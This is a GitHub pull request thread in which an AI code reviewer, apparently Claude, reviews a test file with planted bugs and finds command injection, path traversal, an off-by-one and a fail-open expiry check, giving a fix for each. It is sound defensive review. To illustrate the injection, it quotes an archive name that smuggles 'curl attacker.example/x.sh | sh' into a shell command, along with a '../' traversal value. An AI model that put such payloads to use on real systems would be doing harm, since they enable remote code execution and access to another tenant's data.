test: exercise Claude review findings path

[3uzbcqje]

Throwaway PR. Confirms the review workflow can actually post findings, which the previous run could not prove (a one-line README change gave the reviewer nothing to report, so comments=0 reviews=0 was ambiguous).

src/backup.ts contains deliberate defects. If a review lands on this PR, the write path works and pull-requests: read is sufficient. If the run goes green with no comment, it is not.

Delete this branch once verified.

[claude]

Command injection (critical). exec() runs its argument through /bin/sh, and tenantId/archiveName are concatenated in unsanitized. Any shell metacharacter in either value executes as the service user:

restoreBackup("t1", "a.tgz; curl attacker.example/x.sh | sh", cb)
// → tar -xzf /var/backups/t1/a.tgz; curl attacker.example/x.sh | sh -C /var/restore

Backticks, $(...), &&, and | are all equally live. Given these are "caller-supplied values" (per the comment) that likely originate from a tenant-facing restore request, this is remote code execution.

There's a second, independent issue on the same lines: even with the shell removed, archiveName = "../../other-tenant/db.tgz" (or a tenantId of ..) escapes the tenant directory, so one tenant can restore another tenant's backup.

Both need fixing — argument-array exec kills the injection, but only a path check stops the traversal:

import { execFile } from "child_process";
import * as path from "path";

const base = path.resolve("/var/backups", tenantId);
const archive = path.resolve(base, archiveName);
if (path.dirname(archive) !== base) {
  return cb(new Error("invalid archive path"));
}
execFile("tar", ["-xzf", archive, "-C", "/var/restore"], (err) => cb(err));

Validating tenantId/archiveName against a strict allowlist (e.g. /^[A-Za-z0-9._-]+$/) at the entry point would be a good belt-and-braces addition.

[claude]

Off-by-one, plus undefined leaking into a string[]. i <= count iterates count + 1 times, so recentArchives(list, 2) returns 3 entries, not 2.

The more damaging half: there's no bound against archives.length, so when count >= archives.length the out-of-range reads push undefined into an array typed string[]. recentArchives(["a", "b"], 5) returns ["a", "b", undefined, undefined, undefined, undefined]. The type system won't catch it (no tsconfig.json, so noUncheckedIndexedAccess is off — archives[i] is typed string while actually being string | undefined), and the failure surfaces later as a TypeError: Cannot read properties of undefined in whatever consumes the filenames. Callers with fewer archives than the requested count are the normal case for a young tenant, so this isn't an edge case.

Suggested change

	for (let i = 0; i <= count; i++) {
	for (let i = 0; i < Math.min(count, archives.length); i++) {

Worth noting the function takes from the front of the array, so it only returns the most recent archives if callers pass a list already sorted newest-first — may be worth stating in the comment or sorting here.

[claude]

Fails open on an unparseable date. new Date("garbage") is an Invalid Date whose valueOf() is NaN, and every relational comparison against NaN is false. So isExpired("garbage") and isExpired("") both return false — "not expired".

For a function gating backup retention or access, silently defaulting a malformed timestamp to valid forever is the wrong direction to fail. Empty string is the likely real-world trigger (an unset DB column read as "" rather than NULL skips the == null guard on line 25).

Suggested change

	return new Date(expiresAt) < new Date();
	const expiry = new Date(expiresAt).getTime();
	if (Number.isNaN(expiry)) {
	return true; // unparseable expiry → treat as expired rather than valid forever
	}
	return expiry < Date.now();

If a bad value should instead be a hard error, throwing here works too — the point is not to return false.

[claude]

Review: src/backup.ts

Three issues, all inline. The first is a blocker.

1. Command injection → RCE (restoreBackup, lines 10-12) — exec() goes through /bin/sh and both tenantId and archiveName are string-concatenated in unsanitized, so archiveName = "a.tgz; curl … | sh" runs arbitrary commands as the service user. Same lines also allow ../ path traversal into another tenant's backups. Needs execFile with an argument array and a resolved-path check — the former alone doesn't fix the traversal.
2. Off-by-one + undefined in a string[] (recentArchives, line 18) — i <= count returns count + 1 items, and with no bound against archives.length it pushes undefined whenever the tenant has fewer archives than requested, throwing a TypeError downstream. No tsconfig.json in the repo, so the type checker won't flag it.
3. Fail-open expiry check (isExpired, line 28) — an unparseable or empty expiresAt compares as NaN and returns false ("not expired"), i.e. valid forever. Should fail closed.

Each inline comment has a suggested fix. I wasn't able to execute Node in this environment to demo the behaviours, so the analysis is from the code and JS semantics rather than a live repro.

Also, no tests accompany this file — the off-by-one in particular is the kind of thing a couple of cases on recentArchives would have caught.

[3uzbcqje]

Closing. This PR did its job: the three planted defects in src/backup.ts were correctly identified once the review workflow was fixed (pull-requests:write + inline comment allowlist + explicit prompt instead of the code-review plugin).